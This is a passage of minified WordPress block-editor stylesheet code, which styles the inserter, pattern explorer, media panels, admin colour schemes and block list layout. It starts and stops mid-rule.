svg{fill:var(--wp-admin-theme-color)}.block-editor-inserter__patterns-selected-category.block-editor-inserter__patterns-selected-category:after{background:var(--wp-admin-theme-color);border-radius:2px;bottom:0;content:"";left:0;opacity:.04;position:absolute;right:0;top:0}.block-editor-inserter__block-patterns-tabs-container,.block-editor-inserter__block-patterns-tabs-container nav{height:100%}.block-editor-inserter__block-patterns-tabs{display:flex;flex-direction:column;height:100%;overflow-y:auto;padding:16px}.block-editor-inserter__block-patterns-tabs div[role=listitem]:last-child{margin-top:auto}.block-editor-inserter__block-patterns-tabs .block-editor-inserter__patterns-category{padding-right:4px}.block-editor-inserter__patterns-category-dialog{background:#f0f0f0;border-left:1px solid #e0e0e0;border-right:1px solid #e0e0e0;height:100%;left:0;position:absolute;top:0;width:100%}@media (min-width:782px){.block-editor-inserter__patterns-category-dialog{display:block;left:100%;width:300px}}.block-editor-inserter__patterns-category-dialog .block-editor-block-patterns-list{flex-grow:1;height:100%;overflow-y:auto;padding:16px 24px}.block-editor-block-patterns-list__list-item .block-editor-block-preview__container{box-shadow:0 15px 25px #00000012}.block-editor-block-patterns-list__list-item:hover .block-editor-block-preview__container{box-shadow:0 0 0 2px #1e1e1e,0 15px 25px #00000012}.block-editor-inserter__patterns-category-panel{display:flex;flex-direction:column;height:100%;padding:0 16px}@media (min-width:782px){.block-editor-inserter__patterns-category-panel{padding:0}}.block-editor-inserter__patterns-category-panel .block-editor-inserter__patterns-category-panel-header{padding:16px 24px}.block-editor-inserter__patterns-category-panel .block-editor-inserter__patterns-category-no-results{margin-top:24px}.block-editor-inserter__preview-content{align-items:center;background:#f0f0f0;display:grid;flex-grow:1;min-height:144px}.block-editor-inserter__preview-content-missing{align-items:center;background:#f0f0f0;border-radius:2px;color:#757575;display:flex;flex:1;justify-content:center;min-height:144px}.block-editor-inserter__tips{border-top:1px solid #ddd;flex-shrink:0;padding:16px;position:relative}.block-editor-inserter__quick-inserter{max-width:100%;width:100%}@media (min-width:782px){.block-editor-inserter__quick-inserter{width:350px}}.block-editor-inserter__quick-inserter-results .block-editor-inserter__panel-header{float:left;height:0;padding:0}.block-editor-inserter__quick-inserter.has-expand .block-editor-inserter__panel-content,.block-editor-inserter__quick-inserter.has-search .block-editor-inserter__panel-content{padding:16px}.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list{display:grid;grid-template-columns:1fr 1fr;grid-gap:8px}.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{margin-bottom:0}.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list .block-editor-block-preview__container{min-height:100px}.block-editor-inserter__quick-inserter-separator{border-top:1px solid #ddd}.block-editor-inserter__popover.is-quick>.components-popover__content{padding:0}.block-editor-inserter__quick-inserter-expand.components-button{background:#1e1e1e;border-radius:0;color:#fff;display:block;height:44px;width:100%}.block-editor-inserter__quick-inserter-expand.components-button:hover{color:#fff}.block-editor-inserter__quick-inserter-expand.components-button:active{color:#ccc}.block-editor-inserter__quick-inserter-expand.components-button.components-button:focus:not(:disabled){background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);box-shadow:none}.block-editor-block-patterns-explorer__sidebar{bottom:0;left:0;overflow-x:visible;overflow-y:scroll;padding:24px 32px 32px;position:absolute;top:72px;width:280px}.block-editor-block-patterns-explorer__sidebar__categories-list__item{display:block;height:48px;text-align:left;width:100%}.block-editor-block-patterns-explorer__search{margin-bottom:32px}.block-editor-block-patterns-explorer__search-results-count{padding-bottom:32px}.block-editor-block-patterns-explorer__list{margin-left:280px;padding:24px 0 32px}.block-editor-block-patterns-explorer__list .block-editor-patterns__sync-status-filter .components-input-control__container{width:380px}.block-editor-block-patterns-explorer .block-editor-block-patterns-list{display:grid;grid-gap:32px;grid-template-columns:repeat(1,1fr);margin-bottom:16px}@media (min-width:1080px){.block-editor-block-patterns-explorer .block-editor-block-patterns-list{grid-template-columns:repeat(2,1fr)}}@media (min-width:1440px){.block-editor-block-patterns-explorer .block-editor-block-patterns-list{grid-template-columns:repeat(3,1fr)}}.block-editor-block-patterns-explorer .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{min-height:240px}.block-editor-block-patterns-explorer .block-editor-block-patterns-list .block-editor-block-preview__container{height:inherit;max-height:800px;min-height:100px}.block-editor-inserter__patterns-category-panel-title{font-size:16.25px}.block-editor-inserter__media-tabs-container,.block-editor-inserter__media-tabs-container nav{height:100%}.block-editor-inserter__media-tabs-container .block-editor-inserter__media-library-button{justify-content:center;margin-top:16px;padding:16px;width:100%}.block-editor-inserter__media-tabs{display:flex;flex-direction:column;height:100%;overflow-y:auto;padding:16px}.block-editor-inserter__media-tabs div[role=listitem]:last-child{margin-top:auto}.block-editor-inserter__media-tabs .block-editor-inserter__media-tabs__media-category{padding-right:4px}.block-editor-inserter__media-tabs .block-editor-inserter__media-tabs__media-category.is-selected{color:var(--wp-admin-theme-color);position:relative}.block-editor-inserter__media-tabs .block-editor-inserter__media-tabs__media-category.is-selected .components-flex-item{filter:brightness(.95)}.block-editor-inserter__media-tabs .block-editor-inserter__media-tabs__media-category.is-selected svg{fill:var(--wp-admin-theme-color)}.block-editor-inserter__media-tabs .block-editor-inserter__media-tabs__media-category.is-selected:after{background:var(--wp-admin-theme-color);border-radius:2px;bottom:0;content:"";left:0;opacity:.04;position:absolute;right:0;top:0}.block-editor-inserter__media-dialog{background:#f0f0f0;border-left:1px solid #e0e0e0;border-right:1px solid #e0e0e0;height:100%;left:0;overflow-y:auto;padding:16px 24px;position:absolute;scrollbar-gutter:stable both-edges;top:0;width:100%}@media (min-width:782px){.block-editor-inserter__media-dialog{display:block;left:100%;width:300px}}.block-editor-inserter__media-dialog .block-editor-block-preview__container{box-shadow:0 15px 25px #00000012}.block-editor-inserter__media-dialog .block-editor-block-preview__container:hover{box-shadow:0 0 0 2px #1e1e1e,0 15px 25px #00000012}.block-editor-inserter__media-panel{display:flex;flex-direction:column;min-height:100%;padding:0 16px}@media (min-width:782px){.block-editor-inserter__media-panel{padding:0}}.block-editor-inserter__media-panel .block-editor-inserter__media-panel-spinner{align-items:center;display:flex;flex:1;height:100%;justify-content:center}.block-editor-inserter__media-panel .block-editor-inserter__media-panel-search:not(:focus-within){--wp-components-color-background:#fff}.block-editor-inserter__media-list{margin-top:16px}.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item{cursor:pointer;margin-bottom:24px;position:relative}.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item.is-placeholder{min-height:100px}.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item[draggable=true] .block-editor-block-preview__container{cursor:grab}.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item.is-hovered .block-editor-inserter__media-list__item-preview{box-shadow:0 0 0 2px #1e1e1e,0 15px 25px #00000012}.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item.is-hovered .block-editor-inserter__media-list__item-preview-options>button{display:block}.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options{position:absolute;right:8px;top:8px}.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button{background:#fff;border-radius:2px;display:none}.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button.is-opened,.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button:focus{display:block}.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button:hover{box-shadow:inset 0 0 0 2px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.block-editor-inserter__media-list .block-editor-inserter__media-list__item{height:100%}.block-editor-inserter__media-list .block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview{align-items:center;border-radius:2px;display:flex;overflow:hidden}.block-editor-inserter__media-list .block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview>*{margin:0 auto;max-width:100%}.block-editor-inserter__media-list .block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview .block-editor-inserter__media-list__item-preview-spinner{align-items:center;background:#ffffffb3;display:flex;height:100%;justify-content:center;pointer-events:none;position:absolute;width:100%}.block-editor-inserter__media-list .block-editor-inserter__media-list__item:focus .block-editor-inserter__media-list__item-preview{box-shadow:inset 0 0 0 2px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.block-editor-inserter__media-list__item-preview-options__popover .components-menu-item__button .components-menu-item__item{min-width:auto}.block-editor-inserter__mobile-tab-navigation{height:100%;padding:16px}.block-editor-inserter__mobile-tab-navigation>*{height:100%}@media (min-width:600px){.block-editor-inserter-media-tab-media-preview-inserter-external-image-modal{max-width:480px}}.block-editor-inserter-media-tab-media-preview-inserter-external-image-modal p{margin:0}.block-editor-inserter__hint{margin:16px 16px 0}.reusable-blocks-menu-items__rename-hint{align-items:top;background:#f0f0f0;border-radius:2px;color:#1e1e1e;display:flex;flex-direction:row;max-width:380px}.reusable-blocks-menu-items__rename-hint-content{margin:12px 0 12px 12px}.reusable-blocks-menu-items__rename-hint-dismiss{margin:4px 4px 4px 0}.components-menu-group .reusable-blocks-menu-items__rename-hint{margin:0}.block-editor-patterns__sync-status-filter .components-input-control__container select.components-select-control__input{height:40px}.spacing-sizes-control .spacing-sizes-control__custom-value-input,.spacing-sizes-control .spacing-sizes-control__label{margin-bottom:0}.spacing-sizes-control .spacing-sizes-control__custom-value-range,.spacing-sizes-control .spacing-sizes-control__range-control{align-items:center;display:flex;flex:1;height:40px;margin-bottom:0}.spacing-sizes-control .spacing-sizes-control__custom-value-range>.components-base-control__field,.spacing-sizes-control .spacing-sizes-control__range-control>.components-base-control__field{flex:1}.spacing-sizes-control .components-range-control__mark{background-color:#fff;height:4px;width:3px;z-index:1}.spacing-sizes-control .components-range-control__marks{margin-top:17px}.spacing-sizes-control .components-range-control__marks :first-child{display:none}.spacing-sizes-control .components-range-control__thumb-wrapper{z-index:3}.spacing-sizes-control__header{height:16px;margin-bottom:12px}.spacing-sizes-control__dropdown{height:24px}.spacing-sizes-control__custom-select-control,.spacing-sizes-control__custom-value-input{flex:1}.spacing-sizes-control__custom-toggle,.spacing-sizes-control__icon{flex:0 0 auto}.spacing-sizes-control__icon{margin-left:-4px}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}
body{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:18px;
  line-height:1.5;
  --wp--style--block-gap:2em;
}

p{
  line-height:1.8;
}

.editor-post-title__block{
  font-size:2.5em;
  font-weight:800;
  margin-bottom:1em;
  margin-top:2em;
}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-editor-block-icon{align-items:center;display:flex;height:24px;justify-content:center;width:24px}.block-editor-block-icon.has-colors svg{fill:currentColor}@media (forced-colors:active){.block-editor-block-icon.has-colors svg{fill:CanvasText}}.block-editor-block-icon svg{max-height:24px;max-width:24px;min-height:20px;min-width:20px}.block-editor-block-styles .block-editor-block-list__block{margin:0}@keyframes selection-overlay__fade-in-animation{0%{opacity:0}to{opacity:.4}}:root .block-editor-block-list__layout::selection,:root .has-multi-selection .block-editor-block-list__layout::selection,_::-webkit-full-page-media,_:future{background-color:initial}.block-editor-block-list__layout{position:relative}.block-editor-block-list__layout:where(.block-editor-block-list__block.is-multi-selected:not(.is-partially-selected)){border-radius:2px}.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected) ::selection,.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected)::selection{background:#0000}.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{animation:selection-overlay__fade-in-animation .1s ease-out;animation-fill-mode:forwards;background:var(--wp-admin-theme-color);border-radius:2px;bottom:0;content:"";left:0;opacity:.4;outline:2px solid #0000;pointer-events:none;position:absolute;right:0;top:0;z-index:1}@media (prefers-reduced-motion:reduce){.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{animation-delay:0s;animation-duration:1ms}}.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected).is-highlighted:after{box-shadow:none}.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable=true]):focus,.block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected{outline:none}.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected:after,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable=true]):focus:after,.block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected:after{border-radius:1px;bottom:1px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";left:1px;outline:2px solid #0000;pointer-events:none;position:absolute;right:1px;top:1px;z-index:1}.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected:after,.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable=true]):focus:after,.is-dark-theme .block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff}.block-editor-block-list__layout .is-block-moving-mode.block-editor-block-list__block.is-selected:after{border-radius:2px;border-top:4px solid #ccc;bottom:auto;box-shadow:none;content:"";left:0;pointer-events:none;position:absolute;right:0;top:-14px;transition:border-color .1s linear,border-style .1s linear,box-shadow .1s linear;z-index:0}.block-editor-block-list__layout .is-block-moving-mode.can-insert-moving-block.block-editor-block-list__block.is-selected:after{border-color:var(--wp-admin-theme-color)}.has-multi-selection .block-editor-block-list__layout{-webkit-user-select:none;user-select:none}.block-editor-block-list__layout [class^=components-]{-webkit-user-select:text;user-select:text}.is-block-moving-mode.block-editor-block-list__block-selection-button{font-size:1px;height:1px;opacity:0;padding:0}.block-editor-block-list__layout .block-editor-block-list__block{overflow-wrap:break-word;pointer-events:auto;position:relative;-webkit-user-select:text;user-select:text}.block-editor-block-list__layout .block-editor-block-list__block.is-editing-disabled{pointer-events:none;-webkit-user-select:none;user-select:none}.block-editor-block-list__layout .block-editor-block-list__block .reusable-block-edit-panel *{z-index:1}.block-editor-block-list__layout .block-editor-block-list__block .components-placeholder .components-with-notices-ui{margin:-10px 0 12px}.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui{margin:0 0 12px;width:100%}.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice .components-notice__content{font-size:13px}.block-editor-block-list__layout .block-editor-block-list__block.has-warning{min-height:48px}.block-editor-block-list__layout .block-editor-block-list__block.has-warning>*{pointer-events:none;-webkit-user-select:none;user-select:none}.block-editor-block-list__layout .block-editor-block-list__block.has-warning .block-editor-warning{pointer-events:all}.block-editor-block-list__layout .block-editor-block-list__block.has-warning:after{background-color:#fff6;border-radius:2px;bottom:0;content:"";left:0;position:absolute;right:0;top:0}.block-editor-block-list__layout .block-editor-block-list__block.has-warning.is-multi-selected:after{background-color:initial}.block-editor-block-list__layout .block-editor-block-list__block.is-reusable>.block-editor-inner-blocks>.block-editor-block-list__layout.has-overlay:after{display:none}.block-editor-block-list__layout .block-editor-block-list__block.is-reusable>.block-editor-inner-blocks>.block-editor-block-list__layout.has-overlay .block-editor-block-list__layout.has-overlay:after{display:block}.block-editor-block-list__layout .block-editor-block-list__block.is-reusable.has-child-selected:after{box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.block-editor-block-list__layout .block-editor-block-list__block[data-clear=true]{float:none}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered{cursor:default}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered:after{border-radius:1px;bottom:1px;box-shadow:0 0 0 1px var(--wp-admin-theme-color);content:"";left:1px;pointer-events:none;position:absolute;right:1px;top:1px}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected{cursor:default}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected.rich-text{cursor:unset}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected:after{border-radius:2px;bottom:1px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";left:1px;pointer-events:none;position:absolute;right:1px;top:1px}@keyframes block-editor-has-editable-outline__fade-out-animation{0%{border-color:rgba(var(--wp-admin-theme-color--rgb),1)}to{border-color:rgba(var(--wp-admin-theme-color--rgb),0)}}.is-root-container:not([inert]) .block-editor-block-list__block.has-editable-outline:after{animation:block-editor-has-editable-outline__fade-out-animation .3s ease-out;animation-delay:1s;animation-fill-mode:forwards;border:1px dotted rgba(var(--wp-admin-theme-color--rgb),1);border-radius:2px;bottom:0;content:"";left:0;pointer-events:none;position:absolute;right:0;top:0}@media (prefers-reduced-motion:reduce){.is-root-container:not([inert]) .block-editor-block-list__block.has-editable-outline:after{animation-delay:0s;animation-duration:1ms}}.is-focus-mode .block-editor-block-list__block:not(.has-child-selected){opacity:.2;transition:opacity .1s linear}@media (prefers-reduced-motion:reduce){.is-focus-mode .block-editor-block-list__block:not(.has-child-selected){transition-delay:0s;transition-duration:0s}}.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected) .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-multi-selected,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-selected{opacity:1}.wp-block.alignleft,.wp-block.alignright,.wp-block[data-align=left]>*,.wp-block[data-align=right]>*{z-index:21}.wp-site-blocks>[data-align=left]{float:left;margin-right:2em}.wp-site-blocks>[data-align=right]{float:right;margin-left:2em}.wp-site-blocks>[data-align=center]{justify-content:center;margin-left:auto;margin-right:auto}.block-editor-block-list .block-editor-inserter{cursor:move;cursor:grab;margin:8px}@keyframes block-editor-inserter__toggle__fade-in-animation{0%{opacity:0}to{opacity:1}}.wp-block .block-list-appender .block-editor-inserter__toggle{animation:block-editor-inserter__toggle__fade-in-animation .1s ease;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.wp-block .block-list-appender .block-editor-inserter__toggle{animation-delay:0s;animation-duration:1ms}}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender{display:none}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender .block-editor-inserter__toggle{opacity:0;transform:scale(0)}.block-editor-block-list__block .block-editor-block-list__block-html-textarea{border:none;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;display:block;font-family:Menlo,Consolas,monaco,monospace;font-size:15px;line-height:1.5;margin:0;outline:none;overflow:hidden;padding:12px;resize:none;transition:padding .2s linear;width:100%}@media (prefers-reduced-motion:reduce){.block-editor-block-list__block .block-editor-block-list__block-html-textarea{transition-delay:0s;transition-duration:0s}}.block-editor-block-list__block .block-editor-block-list__block-html-textarea:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-block-list__block .block-editor-warning{position:relative;z-index:5}.block-editor-block-list__block .block-editor-warning.block-editor-block-list__block-crash-warning{margin-bottom:auto}.block-editor-iframe__body{transform-origin:top center;transition:all .3s}.is-vertical .block-list-appender{margin-left:12px;margin-right:auto;margin-top:12px;width:24px}.block-list-appender>.block-editor-inserter{display:block}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected):not(.block-editor-block-list__layout) .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle{opacity:0;transform:scale(0)}.block-editor-block-list__block.has-block-overlay{cursor:default}.block-editor-block-list__block.has-block-overlay:before{background:#0000;border:none;border-radius:2px;content:"";height:100%;left:0;position:absolute;top:0;width:100%;z-index:10}.block-editor-block-list__block.has-block-overlay:not(.is-multi-selected):after{content:none!important}.block-editor-block-list__block.has-block-overlay:hover:not(.is-dragging-blocks):not(.is-multi-selected):before{background:rgba(var(--wp-admin-theme-color--rgb),.04);box-shadow:0 0 0 1px var(--wp-admin-theme-color) inset}.block-editor-block-list__block.has-block-overlay.is-reusable:hover:not(.is-dragging-blocks):not(.is-multi-selected):before,.block-editor-block-list__block.has-block-overlay.wp-block-template-part:hover:not(.is-dragging-blocks):not(.is-multi-selected):before{background:rgba(var(--wp-block-synced-color--rgb),.04);box-shadow:0 0 0 1px var(--wp-block-synced-color) inset}.block-editor-block-list__block.has-block-overlay.is-selected:not(.is-dragging-blocks):before{box-shadow:0 0 0 1px var(--wp-admin-theme-color) inset}.block-editor-block-list__block.has-block-overlay .block-editor-block-list__block{pointer-events:none}.block-editor-iframe__body.is-zoomed-out .block-editor-block-list__block.has-block-overlay:before{left:calc(50% - 50vw);width:100vw}.block-editor-block-list__layout .is-dragging{background-color:currentColor!important;border-radius:2px!important;opacity:.05!important;pointer-events:none!important}.block-editor-block-list__layout .is-dragging::selection{background:#0000!important}.block-editor-block-list__layout .is-dragging:after{content:none!important}.block-editor-block-preview__content-iframe .block-list-appender{display:none}.block-editor-block-preview__live-content *{pointer-events:none}.block-editor-block-preview__live-content .block-list-appender{display:none}.block-editor-block-preview__live-content .components-button:disabled{opacity:1}.block-editor-block-preview__live-content .block-editor-block-list__block[data-empty=true],.block-editor-block-preview__live-content .components-placeholder{display:none}.block-editor-block-variation-picker .components-placeholder__instructions{margin-bottom:0}.block-editor-block-variation-picker .components-placeholder__fieldset{flex-direction:column}.block-editor-block-variation-picker.has-many-variations .components-placeholder__fieldset{max-width:90%}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations{display:flex;flex-direction:row;flex-wrap:wrap;justify-content:flex-start;list-style:none;margin:16px 0;padding:0;width:100%}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations>li{flex-shrink:1;list-style:none;margin:8px 20px 0 0;text-align:center;width:75px}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations>li button{display:inline-flex;margin-right:0}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation{padding:8px}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation-label{display:block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:12px;line-height:1.4}.block-editor-block-variation-picker__variation{width:100%}.block-editor-block-variation-picker__variation.components-button.has-icon{justify-content:center;width:auto}.block-editor-block-variation-picker__variation.components-button.has-icon.is-secondary{background-color:#fff}.block-editor-block-variation-picker__variation.components-button{height:auto;padding:0}.block-editor-block-variation-picker__variation:before{content:"";padding-bottom:100%}.block-editor-block-variation-picker__variation:first-child{margin-left:0}.block-editor-block-variation-picker__variation:last-child{margin-right:0}.block-editor-button-block-appender{align-items:center;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e;display:flex;flex-direction:column;height:auto;justify-content:center;width:100%}.block-editor-button-block-appender.components-button.components-button{padding:12px}.is-dark-theme .block-editor-button-block-appender{box-shadow:inset 0 0 0 1px #ffffffa6;color:#ffffffa6}.block-editor-button-block-appender:hover{box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);color:var(--wp-admin-theme-color)}.block-editor-button-block-appender:focus{box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color)}.block-editor-button-block-appender:active{color:#000}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child{pointer-events:none}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child:after,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after{border:1px 